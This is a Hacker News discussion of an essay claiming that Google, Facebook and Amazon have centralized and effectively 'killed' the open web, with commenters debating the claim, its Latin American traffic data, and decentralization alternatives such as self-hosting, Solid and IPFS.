Google, Facebook, and Amazon have fundamentally transformed the web - <AUTHOR> https://staltz.com/the-web-began-dying-in-2014-heres-how.html <comment><USER3> A lot of the comments here seem to be quibbling. The analysis/argument isn't exactly how you/I would have phrased it.

But beyond the details, I think it's hard to argue with the main point. The web is much more of a large corporation's playground today, far more. That means new things will be built in a different, more giant friendly way. The part of that that worries me most is the cultural part, more than the economic side.

My favourite example is wikipedia. If we didn't already have wikipedia, I don't think we'd be likely to get one on today's web. The culture is just far too corporate for wikipedia to be the end result.

Youtube's another sort of example. Democratic media! A new culture factory!...

Youtubes play by the rules these days. Copyright.. business friendly policy, erring on the side of restriction. It's just more manageable. Nudity? Why annoy politicians _and_ advertisers? Just give us the purple _hills_ version. Violence? Do what TV does. Revolution? Maybe, yes. Sure. Up the arab spring! Wait.. no. actually, wait. Hold on, not in america. Look.., no just means not here. Political ads, eh...? How about you leave us out of this.

They are no longer interested in the unfolding and unpredictable consequences of their inventions. Facebook is the world's news stand & coffee house. Youtube's regional political radio, newsletters & party magazine. They do not want this job, so they're pretending it isn't they're job. Pretending they won't have to draw lines between truth and lies, free speech and hate speech, laws and despotism.

The fear driven incumbent mentality.

It's a pity we didn't get more wikipedia's back when the gettin was good. I would have preferred to see a giant wikipedia end up with the fake news problem (which I think these two giants almost created themselves).

<comment><USER4> "The web is much more of a large corporation's playground today, far more."

I don't know, I can get a VM and a public IP much cheaper now than ever before. It's never been easier to put content or innovation in front of the entire Internet.

Use to be when someone thought they could do something better they'd do it and let the Internet judge. For example, if you want a different social network then build one and get your friends to try it out. If they like it then maybe it'll grow. That's pretty much how every social site that was ever tried (including Facebook) started. Will your idea fail? Probably, but failure is just part of the process.

Seems like here you read a lot of "well Google/Facebook exists so why even bother?". That mentality is the real problem.

<comment><USER5> _I don 't know, I can get a VM and a public IP much cheaper now than ever before. It's never been easier to put content or innovation in front of the entire Internet._

No one will look at it. I had a Diaspora account. There's nothing and nobody there.

<comment><USER6> but they had nothing to offer over facebook, really.

</comment></comment></comment></comment><comment><USER7> As the article points out, The power google is quite scary. The problem is, we depend on it for too many things. I think the solution is to diversify our usage of it. Perhaps, use a different email service, or start using Bing. Find, something else to replace google docs. By diversifying, we reduce our risk.

Same for facebook, perhaps start using a different social network and messaging apps. Sure, no one will see my posts, that is until I send them a good old fashion link, to a photo of my cute daughter.

we need those "PODS" from Tim Burner's Lee's [https://www.digitaltrends.com/web/ways-to-decentralize- the-w...](https://www.digitaltrends.com/web/ways-to-decentralize-the-web/)

In this model, all your data belongs to you. Any social network you allow or visit can make use of the data, but it all still belongs to you. And you'll be able to switch from Social network to social network or document provider(docs, spredsheets software) as easily as changing your socks.

And we don't have to completely replace GOOG and FB, we should have to offer alternatives and reduce the cost of switching - That's the key to preventing these services from turning Evil.

Are there any social networks out there currently that do this yet?

<comment><USER8> I'm hosting my own mail, and running my own server, but I know this is not a viable route for the generic public. Although tools like Yunohost[1] exists for this specific reason.

Telegram is nice for instant messaging: it's simple, cross-platform, does well with resources, and run by a non-profit org. Yes, russians might be spying on it. FB/G are spied by others. Meh. (There's Signal as well, but I like my SMS separated.)

Google Docs are terrible anyway: slow, lacking lots of features. Libreoffice or (god forbid!), installed M$ Office - and share the docs on, for example, Dropbox.

However, it's already very hard to tell people what the web used to be. Just read the entry "I'm 22 years old and what is this."[2] - web devs being in the business for <10 years may not even remember how it was before G or FB. I'd welcome any ideas how to address this.

[1]: [https://yunohost.org/](https://yunohost.org/) [2]: [https://medium.com/@tylrfishr/im-22-years-old-and-what-is- th...](https://medium.com/@tylrfishr/im-22-years-old-and-what-is- this-d73c2573c254)

<comment><USER9> Yup, I self-host email, blog and all my stuff except with Cloudron [1]. I use wire instead of telegram.

One challenge (at least amongst my circles) is that people do not seem to value diversity and are for some reason obsessed with mono-culture. For example, they are not willing to try another docs or email or phone provider. Even if they try something new, they are quick to jump to opinions in mere seconds (for example, I asked a friend to try mattermost[2] instead of slack and he wanted to go on about how the shade of blue was unappealing...). Many of my friends are also truly vested into converting their entire household into apple or google products (i.e one of them). If apple made a mattress tomorrow, they would immediately buy it :)

[1]: [https://cloudron.io](https://cloudron.io) [2]: [https://about.mattermost.com/](https://about.mattermost.com/)

<comment><USER10> i think what we need is another type of walled garden, what i'm calling a freedom garden. a complete alternative to APPL and GOOG that has media, devices, apps, &c.

free software projects and linux distributions have been around for years, but the focus is often on compatibility and familiarity. i say, we throw all of that in the trash. we need fresh ideas, fresh designs, and interfaces. interesting new devices and interaction models. app stores that engage creators as a revenue channel. there's no reason why liberty and profit should be at odds. [0]

i especially think that we need to rethink how we develop applications. clouds are useful, but why are the developers on the hook for all of that compute? i think we need to radically simplify the tools we use for provisioning compute resources in a way that allows users to leverage all of their compute resources and easily attach more on-demand. this echoes back to plan 9, which has this idea of creating a virtual system out of many hosts.

we're just getting started, and there are a lot of challenges ahead of us. if any of this sounds interesting or fun, maybe you want to get involved with our nonsense. [1]

[0]: [https://developer.elementary.io/](https://developer.elementary.io/)

[1]: [https://heropunch.io/join.html](https://heropunch.io/join.html)

<comment><USER11> It's not about applications, it's about hardware. The corporate giants control the mobile hardware.

<comment><USER10> read the website, bud. we're tackling that one too.

[https://www.heropunch.io/tomo/cybredeck/](https://www.heropunch.io/tomo/cybredeck/)

most of the action is happening in #heropunch:matrix.org i'm on the os side, actually. @mlg:matrix.org is tackling the hardware. we're starting simple with off the shelf parts, but if people like our shit we are def interested in scaling up to make more advanced devices.

also, if you would like to back something that exists _right now_ there's the librem 5

[https://puri.sm/shop/librem-5/](https://puri.sm/shop/librem-5/)

<comment><USER11> Amazing. I hope you pull it off.

</comment></comment></comment></comment></comment></comment></comment><comment><USER12> This analysis is flawed in that it equates size of traffic with individual user actions. Of course YouTube or another video heavy site like FB is going to dominate when only size is considered.

A better metric would be a measurement of user initiated actions. Now sure how to pull that off, but it would be a more accurate measure of how the net is changing.

<comment><USER13> There are a lot of other video content websites that aren't YouTube and are struggling to compete with the large players like YouTube and Netflix that can put a box in every ISP in the world.

<comment><USER13> Seeing this got more attention than I assumed - at Peer5 (YC W2017) we attack this by doing distributed video delivery.

It's very challenging to figure out how to do this in a way that benefits users and improves user experience - we are very careful about being fair to users on mobile connections - but I think that a distributed web platform is the future and the only way we can combat the (lack of) net neutrality.

<comment><USER12> Just wait for the next season of Silicon Valley to solve it!

We already have a distributed internet, just not as distributed as we had hoped for from a censorship perspective.

</comment></comment></comment></comment><comment><USER14> I do miss when there was more web on the Web. I've been wondering if the problem is that I don't search as much as I used to, or if there just isn't as many fun sites to visit these days. There actually used to be hangouts on the web outside of chat and social media, like bizarre, bangedup, or the old 4chan. It used to be a blast just to read through 4chanarchive, to see how many times Pawn Stars got called during the last BattleToads thread. I used to see anons in front of the Scientology building in Cincy on a regular basis. I think that's why I enjoyed HWNDU so much.

<comment><USER15> You say "more web the Web", but your main example is that your bubble was 4chan; this article implies the exact same thing, but with the bubbles being Google, Facebook and Amazon.

<comment><USER16> I think his point is more that Web used to be plenty of smaller bubbles, with distinct culture and separate communities. Now we have only giant bubbles, which get homogenised, as everything of that scale is. I share the sentiment.

<comment><USER14> Yeah, you definitely articulated it better than I could have. But I mentioned other sites besides just 4chan. Even IRC had networks full of active rooms, with people from around the world. I just know there used to be more things that I considered fun, and now I'm hard pressed to find such things. I'm not going into Freenet or Tor just to find something that doesn't violate YouTube or Facebook rules.

<comment><USER17> >> Even IRC had networks full of active rooms

>> I'm not going into Freenet

Well there's your answer.

<comment><USER14> I know there's a freenet on IRC, but it seems to be people mostly talking about programming. Which is handy sometimes. But the freenet I was actually referencing was this project [https://freenetproject.org](https://freenetproject.org)

<comment><USER17> Ooohhh and what I'm thinking of is actually freenode. My mistake :)

</comment></comment></comment></comment></comment></comment></comment><comment><USER18> Something looked odd about that upstream/downstream ranking table. Netflix doesn't feature at all in the downstream bit. Why not? It's huge.

Then I noticed the small print under the table: it's peak time mobile usage in Latin America.

</comment><comment><USER19> It feels like a centralized organizing service for web content (and by extension, retail goods sold online) is an inevitability in today's internet. If we switched google off, some other search engine would replace them simply because people need to be able to find things on the internet in a way that doesn't involve spending 30 minutes running through different "top hotlinks" lists on obscure web pages.

To me, the real issue is that we have a service which people depend on like a public utility (the internet) whose components are completely privatized and uncontrolled (ISP's, search, social networking). It's not a bad thing that so much of the traffic is being routed through certain pages. What makes this unsettling is that those pages are undemocratically, privately controlled and you've got next to no say in it because if you switch to a different private alternative, who's to say we won't be in exactly the same situation 10 years from now?

</comment><comment><USER20> Here's a comment from this thread that I am having issues with:

> if you don't rank on google for whatever it is you're launching/publishing > -- you don't exist.

And yet, Andre and his blog clearly 'exist' (i.e. can be accessed and read, and perhaps even found in a search engine if search terms are relevant enough). Medium blogs (or other indexable and searchable media) obviously 'exist'. Reddit and Hacker News definitely 'exist'.

Perhaps that comment refers to commercial viability of internet media, or to their overall reach, but what do we, regular netizens, care about such pecuniary stuff? It's up to executives to think about business models and profitability; while it's up to us to use whatever suits us best on the Internet.

<comment><USER21> A quick Google tells me that Andre's currently at the #2 position on Google (at least in my search bubble) for "The Web dying", #4 for "The Web is dying", and so on. And of course he's at the top by a country mile for the exact article title.

Hacker News regularly dominates Google queries, and Reddit does too.

I do agree that the statement that search engine rank is all misses a rather significant element, that being virality / social reach.

If you can regularly gain enormous traffic from Reddit, Facebook, or even HN, you don't necessarily need search engine rankings. If you can afford to pay for ads, likewise.

It's if you're in none of those three camps that you might as well not exist on the Web. Tree falls, forest, no-one to hear it, etc.

</comment></comment><comment><USER22> This is a good article. Andre, don't pay attention to the usual HN cynicism. You posed a good thesis and defended it. The web, as we have traditionally defined it, is dying. Or dead. Yes, technically the protocols still work, but the day-to-day structure and use of the web is completely different than anybody expected or wanted it to be.

I think the key place where we went wrong is that we envisioned the web as a utility to help expand each person's mind and communication abilities. Instead it's morphing into a service where large groups of people can clan and waste time around the virtual water cooler. It was supposed to be a brain super- power. Instead it's a shared newsletter for angry mobs. It was supposed to free us up to find out amazing things about the world around us. Instead it's freed up the world around us to examine us in exquisite detail. We don't surf the internet anymore. The internet surfs us.

And yes, that sounds a lot like hyperbole, but such is the nature of essays like this. When I wrote "Technology is Heroin" ( [http://www.whattofix.com/blog/archives/2009/02/technology- is...](http://www.whattofix.com/blog/archives/2009/02/technology-is-h.php) ) I didn't mean it was literally heroin. I meant it was taking on the role that dangerous drugs had in times past. The web isn't literally dying. It's changing into something so different than what we wanted that it is for all intents and purposes dead. Many folks are getting wrapped up in the semantics of the discussion instead of the underlying meaning.

Looking forward to seeing more of your work!

<comment><AUTHOR> Many thanks! I share your thoughts that tech is "heroin", in fact I've been thinking that UX is killing us, it has become so good, that it's addicting. This is true clinically too, as social media instant gratification releases Dopamine and its usage is an activity comparable to gambling.

There is a way forward, though. Between the Old Web and GOOG-FB-AMZN's Trinet, we can build something else: the New Web based on decentralized protocols like IPFS, Dat, blockchains, secure-scuttlebutt, and others. That's what I'm working on.

<comment><USER23> _UX is killing us_

Like guns kill people, right?

<comment><USER24> Guns do kill people, but it's obviously less extreme than that. Killing us in a long term way by encouraging sedentary behavior, for example.

</comment></comment></comment></comment><comment><USER25> It's especially interesting when you consider that Google has now, for the first time, a fully globe-spanning own network that can interface with any ISP directly, without relying on any intermediate ISP.

Google now has at least one product in the entire stack of the internet.

You can use a Google Pixel, and Google Chromebook, using Android and Chrome OS, browsing with Chrome, while using Google Fi and Google Fiber, connected directly to Google's backbone, visiting Google's Search, Maps, etc or other sites hosted on Google's cloud, using Google's DNS server.

At this point you can use most of the functionality of the internet without ever leaving the Google ecosystem.

And this is just going to be expanded.

<comment><USER26> But also Google is so terrible at making successful physical products in a lot of these spaces, its hard to say the products give them a lot of power in the market. Google Pixel, Google Home, Google TV, do not represent large install bases. If they want a walled garden, it can't be the size of a postage stamp.

<comment><USER27> Not just physical devices. A lot of the Google stuff I have to use seems half- baked, unfinished or with crappy UI/UX. And Google Cloud is complete shit compared to AWS. I guess that's what happens when engineers lead a company. They'll never have the customer focus that has made Amazon dominant.

<comment><USER28> > Google Cloud is complete shit compared to AWS

that is a bold statement. care to elaborate?

<comment><USER27> Well for a start you have to stop a GCE instance to add a new scope to it. So if your devs want to use a new API and you're running a massive production K8s cluster, you somehow have to stop your instances to add the new scope and otherwise mess around. Of course if you know this in advance you can plan to do blue-green deployments with K8s, but if you don't know that you won't architect for it and it'll bite you.

Their authentication in general seems convoluted and complicated, their console is slow and useless (why aren't all the search results preloaded? I type in 'iam' and it takes several seconds for the results to appear). Oh, and also alpha K8s clusters will terminate after 30 days whether you like it or not (perhaps you're using a feature that's apparently stable but languishing in alpha - I'm looking at you, cronjob). There's a lack of services in general (an elasticache type service would be nice) and development seems to move glacially.

Also, they seem to have multiple versions of SDKs, some with outstanding bugs that were reported years ago but are just closed or there are comments in the README that only critical bugs will be addressed. There's no indication which SDK to use where there are several versions. Oh, and if you only want to use one service in python, you have to install about 40 different packages because splitting them up is too difficult.

We've had DFP buckets have their configs get screwed up so we mysteriously couldn't access them, logs stopped being delivered, etc. Apparently Google have such poor monitoring that we had to prompt them about these things which took too longer to get resolved. I could go on...

<comment><USER29> An easy workaround for the scope issue is to set a custom service account when creating the instance (template). You can then modify the IAM roles for that service account without having to take the instance offline. Allow that service account to have full access to all APIs on the instance level, then fine-tune what's actually possible through IAM Roles.

</comment></comment></comment></comment></comment></comment><comment><USER30> I was thinking something related this morning, that one of the reasons uptime is important to google, apart from the usual reasons, is because if they were switched off for a day people would realise the extent to which they have so many of their eggs in one basket, and a basket over which they have no control. I would expect that would trigger some concern, and significant numbers seeking alternatives, and building them.

</comment><comment><USER31> Interesting perspective but it's missing one big elephant in the room: China. China is a reason why the trinet will not happen globally. Baidu, TenCent, Alibaba and similar services won't be replaced with Google, FB or Amazon. Maybe for better.

<comment><USER32> The statistics are about Latin America.

</comment></comment><comment><USER33> I'd wager that FB is at its summit now and it'll become more obvious as more young people who ignore it now continue to do so growing up and the people who use it continue to die.

<comment><USER34> Facebook is not the blue website. It's also Instagram, WhatsApp and whatever they buy next. And those are not being ignored by young demographics. At all.

<comment><USER35> To add to this definition.

Facebook is a large conglomerate business that grows by purchasing young successfull social networks in multiple areas of services.

<comment><USER36> It's effectively a kind of hedge fund that dabbles in internet and social- specific assets. The more they diversify their portfolio and occasionally branch out, the harder they will be to fully kill. This is the pattern with a lot of companies. They just become portfolio asset managers with a specific area of interest.

<comment><USER7> but we don't need to kill them to be successful. It's all about offering alternatives and making the switch to alternatives easier. This keeps platforms competing with each other, which keeps them in check.

<comment><USER36> Fair point, and I accept it. But, it's important to add that our task is much harder because they get added "synergies" they get from the "connectedness" of their portfolio.

</comment></comment></comment></comment></comment></comment><comment><USER37> People used to say the same thing about Wintel until the Web appeared.

Not to say his points are wrong just that it lacks some historical perspective.

IMHO, these companies are on the verge of becoming irrelevant actually.

<comment><USER38> what would replace them?

<comment><USER39> Decentralized crypto versions perhaps?

</comment></comment></comment><comment><USER40> Some very interesting points made in OP and comments.

I'll add one about user experience. Obviously the big web corporations benefit from the natural advantages of scale.

But an overlooked aspect of what makes these platforms sticky is that they all, including Apple, work very hard at making their products easy to use. And these are complex systems (I find Apple's attempt at maintaining a global user state baffling, just from a user point of view, working with such an unwieldy system must be insane.)

Though this is an old problem, I think it remains: product developers and engineers vastly over estimate a potential users willingness/ability to learn a new system.

This is a "threshold " problem, with a binary outcome. If your service is "good enough " you might get some traction. But if you don't hit that threshold of usability, your efforts are for naught.

The challenge is that usability is often an optimization problem, where one might be inclined to see how the MVP does, before investing the extensive resources in improving user experience. It's also a big advantage to already have a lot of users, upon which a company can test and iterate.

My main point is that the general public has not become more technically skilled. On the contrary, all this effort by Google-Facebook—Amazon is focused on making these services drop dead easy to use.

Even technically skilled people have limits on how much they can invest in using alternative, less polished systems.

</comment><comment><USER41> The web died the minute the first advertiser showed up.

<comment> GuB-42 I did a quick research

\- The web was invented in 1989

\- It became public in 1991

\- The first ad banner appeared in 1994

\- The first central ad server appeared in 1995

Interestingly ads roughly coincides with the "eternal september", the time when the internet really became public. It means that the greater web, the one that is accessible to all people was born with ads.

And BTW, I wouldn't trade todays internet for what we had in the 90s. Yes, it was cleaner back then, ye didn't have to worry too much about ads, privacy, all that stuff and the SNR was much higher but it doesn't make up for the sheer amount of information that is available now backed by search engines that are borderline psychic.

<comment><USER42> I would trade. When it comes to searching for things in Google, it feels like the spammers won; there's just not much there that's both relevant and not trying to sell me something.

There's more information, but it's much harder to find anything, and outside of small communities, everyone writing interesting things has either stopped or has happily stepped into a walled garden and become undiscoverable.

</comment></comment></comment><comment><USER16> I believe this could be easily solved with a simple regulation - <USER2> 50/50 sharing of downstream and upstream on customer level.

How Web is supposed to be decentralized if the means of accessing it directly support centralization? You will always prefer external services if your own get capped pretty easily. You cannot have truly distributed web if access points are basically one-way connections.

</comment><comment><USER8> Great article, one problem: it's yet another lament. Any ideas how to fix/prevent it?

Maybe we should get our wifi routers into a mesh network. Maybe we should start hosting our own stuff, or make simple tools for this, like YunoHost, iRedMail, etc. But please, stop writing articles about how bad it is.

"I get things are bad. But what are we doing to fix it?" — Casey Newton (Tomorrowland, 2015)

<comment><USER7> This is the ideal solution: Tim Berner Lee's (the creator of the internet). PODS let you own your own data and switch from social network to social networks as easily as changing your socks.

[https://www.digitaltrends.com/web/ways-to-decentralize- the-w...](https://www.digitaltrends.com/web/ways-to-decentralize-the-web/)

<comment><USER43> Inventor of the Web, not the Internet.

However, many of his later ideas, like the Semantic Web, have not taken off. "Own your data" is not a new idea, but it isn't happening. Most people don't care. It takes more than a famous name to change that.

</comment></comment></comment><comment><USER44> Out of those three, I only use Google. I still consider the 'net - and I do mean the internet, not 'the web' as that is but a part of the constellation - to be a useful resource with near-unlimited potential. I shun Facebook like the plague and Amazon is not on my radar in any way, due in part to the fact that I'm not in north-America while Amazon is still mostly targeted at that part of the world. As such any thought of these three having fundamentally transformed the web falls flat for me as they just simply failed to do so in my world. I don't deny that these companies - especially Facebook - have an unhealthy amount of influence over many people's outlook on the world around them and that they have the potential to cause great damage - again pointing at Facebook as the main risk factor due to their rather obvious lack of political neutrality - but for now I just see them as big companies intent on carving out as much of the web as they can.

</comment><comment><USER45> The most interesting tidbit for me was that Apple is the third largest ecommerce company. Very impressive.

</comment><comment><USER46> i think this is only one possible outcome. sure it makes sense but imho this can not happen over night and that is where this theory breaks.

they cant force "their web" upon the rest of the world. there will _always_ be some form of web where one can be anonymous, where you can run your own server without any hardware from "them", using standard-protocols.

maybe the business-people and most poeple who dont care about their privacy will use everything they get thrown from "them". that does not mean the web is dead, it is only that the "mainstream" will live in a separate web. maybe this (their) web will be much bigger than our web. even then, the cool kids will switch to the cool punky web again :D

of course everything is just reading tea leaves..

<comment><USER47> I think you're totally right. An analogy is the stuff around politicians trying to "ban encryption" all the while not understanding that you can't ban an idea (not meaningfully).

So, yeah, maybe 10 years from now things do like almost entirely like the article predicts, but for most consumers that probably really isn't a problem at all except in some theoretical ethical/privacy sense.

For the people who really do care, they'll just go make their own custom shit like you describe.

</comment></comment><comment><USER48> I can't assess what this article is saying without knowing the definition of "traffic" that is being used. Is "traffic" the amount of data transferred (i.e., megabytes, gigabytes, whatever)? Is it the number of requests? Something else?

</comment><comment><USER49> How come the number of websites is increasing if the web is dying? How are these websites getting their attention?

Maybe smaller websites are getting less absolute visits than in 2010, but even if that was true, you should say that the web was dying in the 90's.

It's also difficult to believe the web will stop working, or that people will stop making websites just because more people are browsing just on the "trinet" (remember, 20 years ago people already wrote websites, even if they would expect only 3 visits per month). Would Facebook, Google and Amazon come up with a plan to stop ISPs from serving other domains? Why would they do that?

<comment><USER50> _> It's also difficult to believe the web will stop working, or that people will stop making websites just because more people are browsing just on the "trinet"_

Is it? Lots of small companies and social groups rely on having a Facebook page as their primary way of contact and advertisement, where they would have created a web page of their own in the past.

<comment><USER51> I realized something was wrong when many local web design/development shops started redirecting their domains to Facebook profile pages. Never thought I'd miss outdated Flash-only sites.

Of course, the saying about the cobbler's children still applies.

</comment></comment></comment><comment><USER52> WTF? Baidu? QQ? Weibo?

<comment><USER53> The article draws its data from South America.

The fact that the author doesn't see any Chinese companies is an illustration of fragmentation.

 _However_ , I think it's worth noting that each of these fragmented sub-nets are have more traffic and servers than the global Internet did even a few years ago (how many? I'm not sure).

</comment></comment><comment><USER54> AOL making a comeback! But hey, now we can choose between 3 options.

<comment><USER55> AOL, CompuServe, Prodigy

</comment></comment><comment><USER56> 95 theses on this topic: [http://95theses.co.uk/?page_id=21](http://95theses.co.uk/?page_id=21) Background: [https://www.theguardian.com/technology/2017/oct/29/why-we- ne...](https://www.theguardian.com/technology/2017/oct/29/why-we-need-a-21st- century-martin-luther-to-challenge-church-of-technology-95-theses)

</comment><comment><USER57> Amazon did not, they are just starting here in Brazil, which is a huge player in the internet, not the biggest or the best, but my country is fucking huge and no one knows about amazon, so this is false. Google and facebook? 200% sure they changed the web here. This text and opinions are from people from 1st world castle countries, not the real world

</comment><comment><USER58> Google, facebook are really forming our privacy to be sold to advertisers. They are biggest privacy violators.

</comment><comment><USER59> So what can we do now in a realistic way(don't tell me to completely stop using the trio) ?

</comment><comment><USER5> At what point will Google decide that Chrome only needs to access their own assets?

</comment><comment><USER60> _> On the Trinet, if you are permanently banned from GOOG or FB, you would have no alternative. You could even be restricted from creating a new account. _

A punishment worse than jail in the New World Order.

</comment><comment><USER61> So, how does the web go from being a benevolent dictatorship to something more democratic, when the entire kingdom is busy playing with shiny new toys?

</comment><comment><USER62> _" It looks like nothing changed since 2014, but GOOG and FB now have direct influence over 70%+ of internet traffic."_

The web needs to really become decentralized. Even Tim Berners-Lee has said it [1]. He has started a project to re-decentralize it called Solid [2].

Email was decentralized but now it's become super centralized with GMail etc. And look at how easy it is for the NSA to vacuum all that up from one spot.

Wordpress powers 20% of the decentralized web. Because it's a free, open- source piece of software with a plugin ecosystem that runs on a popular runtime - PHP. We need stuff like that, but for things like SOCIAL MEDIA. Nothing currently exists that can rival facebook, google+ etc.

I believe that the software can change the internet's topology. Right now all signals go through giant centralized server farms. Consider how people use Google Docs for collaboration Facebook / Slack for conversation or Dropbox for their files. The default is to immediately connect to "the cloud" which is in reality some company's server farm. AWS just capitalized on this trend and made it easier.

In fact, you can do all of it LOCALLY by default. There's no reason that bits need to go through Google's servers for a classroom to collaborate on a document, or for an African village to plan a community dinner. Except one: lack of open source software that can run locally, and rival Facebook, Google etc. in ease of use.

We are building that software and started around 2011. My company Qbix [3] wants to decentralize not just the web, but also identity [4], data [5] and social networking [6]. We look to partner with companies who want to decentralize cellphone signals (like gotenna) and energy generation (like solar panels) so human networking in the future has a LOT more local options to utilize before ever jumping onto the public internet.

PS: Whenever I post this topic, with links to back it up, I get downvoted heavily. But I never get any explanation why. If you are an HN member who disagrees with this thesis, first of all that's not enough reason for a downvote. And secondly, I WOULD LIKE TO KNOW WHY you feel so strongly against what I'm saying here: that the web, cellphone signals and energy generation should be decentralized. Contribute constructively to the conversation, and explain what alternatives do you think are better. Are you so ferventlu against developing software to run on local networks as to militate against comments advocating it? Am I breaking some HN rule by linking to our work that we passionately believe in and spend most of our time on? _What are the words behind your downvote?_

1\. [https://www.ted.com/talks/tim_berners_lee_on_the_next_web](https://www.ted.com/talks/tim_berners_lee_on_the_next_web)

2\. [https://solid.mit.edu](https://solid.mit.edu)

3\. [https://qbix.com](https://qbix.com)

4\. [https://github.com/Qbix/auth](https://github.com/Qbix/auth)

5\. [https://github.com/Qbix/architecture/wiki/Internet-2.0](https://github.com/Qbix/architecture/wiki/Internet-2.0)

6\. [https://qbix.com/platform](https://qbix.com/platform)

<comment><USER63> The problem not a technical one, it is a social/economic/political one.

It is how the big players gets to dictate policy virtually unchecked.

Email, on the protocol level, is still decentralized. But Google and a few other big players have via their spam filters dictated how every email server on the planet is to behave, or else.

And we are seeing similar things happening with web servers and browsers, just look at the railroading the W3C DRM spec got.

<comment><USER62> W3C DRM happened because of Tim Berners-Lee himself. And I agree that, since W3C is a central point, it is the target for attacking. But it's possible to decentralize things in a way that stays decentralized, for LOCAL communications.

Email spam is only a problem across the global internet. Not within local networks. Same goes for other types of communications.

Human speech for example has remained peer to peer even as radio was invented :)

I really think the problem is a technical one. The social and political outcomes are almost inevitable, just like the two party system is a nearly inevitable outcome of the first-past-the-post ballot.

Lots of paradigms changed as technologies were introduced. The phone, radio, the printing press etc. Technology has a great impact on society.

</comment></comment></comment><comment><USER64> A few things about "the" web and life in general.

Google has gone from a welcomed tool (indexing a priori data) to telling what should be the data (ranking). It switched naturally and logically so, but it's a problem IMO.

Lastly, when a domain becomes a social organ, everything changes. It has to be regulated, will cause tension, economic impact ..

<comment><USER65> There were search engines before Google. Google was an improvement _because_ of their ranking, not despite it.

<comment><USER64> Yes, but at what point the ranker becomes the ruler. It's an implicit shift and we should be aware of it.

</comment></comment></comment><comment><USER66> This will be horrible for freelancers and people who want to learn web development. There will be no incentive for those people as the globalist mega tech corps create a boring homogeneous internet.

Unless of course we all fight back.

</comment><comment><USER67> if you are right, what about AWS, google cloud and Azure?

<comment><USER24> Amazon/AWS is mentioned as one of the big three in the article, since they're far and away one of the largest. That said, if it weren't them, it'd be someone else.

</comment></comment><comment> real-hacker 2 words. Monopoly. Breakup.

The question is, why is it not happening?

</comment><comment><USER68> stratechery is a better source for this kind of analysis

</comment><comment><USER69> > GOOG, FB, AMZN

A tiny nitpick, but what's with the trend of using stock symbols in non- financial context? GOOGL isn't much shorter than Google, same with AMZN and Amazon. It just looks... annoyingly out of place.

Regarding the article itself, the topic of Facebook/Amazon/Google domination is much spoken and written about and this post doesn't really add much new. This issue is well known for a quite a long time, especially in the HN and similar social circles. What most of the posts are missing is how do we escape this? But that might be too late.

<comment><USER70> A not-so-subtle way of pointing out that these are all profit-seeking companies? A lot like how people used to write Micro$oft, back when Bill Gates was the nerds' devil. We're all sophisticated financially-aware grown ups now, so we've moved on to ticker symbols, as a way of signalling our enlightenment.

<comment><USER71> Just the opposite. It actually started in the 90s during the dotcom mania when _what a company was doing_ , for good or ill, became eclipsed by _how much money its stock could make the reader base_. Ostensible tech sites turned into _The Wall Street Journal_. During the early 90s it was "Microsoft announces a new version of Windows. Here are the features you can look forward to (or dread)!" The late 90s turned more toward "Microsoft (MSFT) experienced a stock price jump when it announced a new version of Windows."

</comment></comment></comment><comment><USER72> You can do your part as a developer and tell managers about the dangers of AMP. It is a stupid idea technically (we have HTML, you can build a slim sites, Google can rank them higher) and stupid business wise by giving away the control, branding, options.

I have convinced one project manager to not implement AMP and will continue to try in the future. Please do your part by spreading word of the dangers of GOOG and FB.

<comment><USER73> Great idea from the user's standpoint though. While many publishers can, technically, build slim sites, almost none do.

<comment><USER74> Depends on the user – if they like fast page views, AMP's 100KB of render- blocking JavaScript is a problem, and if they care about sharing the fact that it makes the real URL hard to get is also annoying. If they like not being phished, AMP is really bad since it leads a lot of people to believe they're reading something Google has vouched for.

This is the inevitable conflict from Google putting their marketing needs ahead of the user experience. If they used site performance as the rating metric, AMP would just be one option for better performance but since the goal was to keep traffic on google.com we're stuck with a worse experience because that's better for Google.

<comment><USER75> I'm really concerned with this current crop of "have to please Google" that is become so prevalent by SEO. The current trend is one of reactionary fear. "We have a great website... it would be a shame for its ranking to slip". I can't say that Google is actively, passively, or even part and parcel to promoting that fear. Unfortunately, the biggest reason I see AMP being adopted by many, has nothing to do with it being faster or a better experience. It has everything to do with pressure by Google. (and a belief that it'll improve search ranking)

<comment><USER74> Google is most definitely actively encouraging that. Right now the proposition is that you either use AMP and let Google host your pages on their server or your competitors' content will appear above your content on search results pages. The fact that they're technically not changing the search ranking isn't significant as long as the prominent carousel which appears first is restricted to hosted AMP content.

</comment></comment></comment></comment></comment><comment><USER13> Andre, you're a swell developer and running into you in open source repos and here has always been educational. I would love reading what you write a lot more if there was less click-bait and sensationalism.

This problem (the fact Google has a large majority in web browser and mobile device sales) is very concerning to me - the data is interesting and the points are relevant but I have a very hard time reading past titles like "the web is dying". I hope you read this with the intended respectful tone I wrote it in.

<comment><AUTHOR> Hi, thanks for appreciating some of my work.

Click bait titles have a bad reputation because they either lie or don't go in-depth into the topic. That's not the case here. I wrote with depth and research, and the body of the article is truthful to the title. I believe the title is, although sensationally shocking, true.

<comment><USER23> Not remotely true, the web isn't dying, it's changing, but that's less clickbaity :) For such a hard claim you have to specify what do you exactly mean by "the web".

 _" The original vision for the Web according to its creator, Tim Berners-Lee, was a space with multilateral publishing and consumption of information. It was a peer-to-peer vision with no dependency on a single party."_

This web is still alive and well, nobody stops you from grabbing a domain name and launch anything you wish. Tim was a bit naive that he assumed profit seeking won't mess with his creation.

The underlying protocol is still the same as it was 20 years ago. With 3,885,567,619 internet users this dying platform is the best thing in computing we had so far. Of course it's changing, but the web is much larger than GOOG, FB, AMZN.

Yo are ignoring the long tail and that tail is very long.

<comment><USER76> And, yet, network effects being what they are, how does anyone with an independent thought rise to visibility, outside of someone else's platform, when the "web" completely dominated by 100 web properties?

<comment><USER77> That's a different question and has nothing to do with the web dying, which it isn't. The freedom to put your voice out there has never included the right to be heard or popular. You have more ability today to be heard than ever before, but you're one of billions, it's not supposed to be easy.

<comment><USER78> if fb and google don't like you, you can't put your voice out there if they control everything

<comment><USER77> They don't control everything, they never have, and they never will.

</comment></comment></comment></comment></comment></comment></comment><comment><USER79> Should note: much of the web is now 'mobile' and on mobile people use apps considerably more often.

So - while possibly not 'the web' as in 'browser' \- it's arguably 'the web' nevertheless because almost all these apps depend on a great deal of http-ish interactivity etc...

Also - though it's hard to say how much change there has been on the desktop - remember that people do use desktop apps for socially and webby oriented reasons etc..

Imagine: Spotify App vs. Spotify Web, Gmail vs. local client - etc. etc..

This is quite a demarcation.

Finally, one might consider also that 'web experiences' have expanded.

